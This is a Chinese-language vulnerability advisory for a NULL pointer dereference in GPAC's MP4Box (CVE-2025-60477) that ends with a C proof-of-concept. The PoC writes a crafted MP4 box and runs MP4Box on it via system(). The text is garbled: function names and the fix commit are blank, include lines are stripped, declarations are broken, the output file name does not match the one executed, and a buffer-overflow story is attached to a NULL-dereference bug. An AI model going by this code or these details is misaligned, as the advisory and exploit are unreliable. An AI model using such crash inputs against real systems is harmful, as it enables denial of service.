漏洞概述 漏洞名称: CVE-2025-60477 - NULL Pointer Dereference in GPAC/MP4Box 漏洞类型: NULL指针解引用 漏洞描述: 处理包含特殊字符的MP4文件时,会导致MP4Box在DASH分段期间崩溃。 影响范围 受影响组件: 中的 函数 受影响产品: MP4Box (GPAC多媒体开源项目) 受影响版本: 2.5-DEV-rev1617-g856674b22-master; commit 856674b226d6cbce28a941ad223be38194cbf7d37。任何未应用修复提交的代码库均受影响。 修复方案 修复状态: 修复方法是在 函数中的 调用前添加缺失的NULL检查。 修复建议: 用户应升级到包含修复提交的版本,或直接应用补丁。 修复提交: POC代码 c #include #include #include #include #include #include #include #include #define MP4_BOX_SIZE 1024 typedef struct { char type[4]; uint32_t size; } MP4BoxHeader; typedef struct { MP4BoxHeader header; char data[MP4_BOX_SIZE]; } MP4Box; int main() { MP4Box box = malloc(sizeof(MP4Box)); if (!box) { fprintf(stderr, "Failed to allocate memory\n"); return 1; } // Initialize the box memcpy(box->header.type, "moov", 4); box->header.size = sizeof(MP4Box); memset(box->data, 0, MP4_BOX_SIZE); // Craft the metadata with long URLs or HTML-like tags snprintf(box->data, MP4_BOX_SIZE, "long_url=http://example.com/very_long_url_that_exceeds_buffer_size"); // Write the crafted MP4 file FILE fp = fopen("crafted.mp4", "wb"); if (!fp) { fprintf(stderr, "Failed to open file for writing\n"); free(box); return 1; } fwrite(&box->header, sizeof(MP4BoxHeader), 1, fp); fwrite(box->data, MP4_BOX_SIZE, 1, fp); fclose(fp); free(box); // Run MP4Box with the crafted file system("MP4Box -dash 100 crafted_file"); return 0; } ```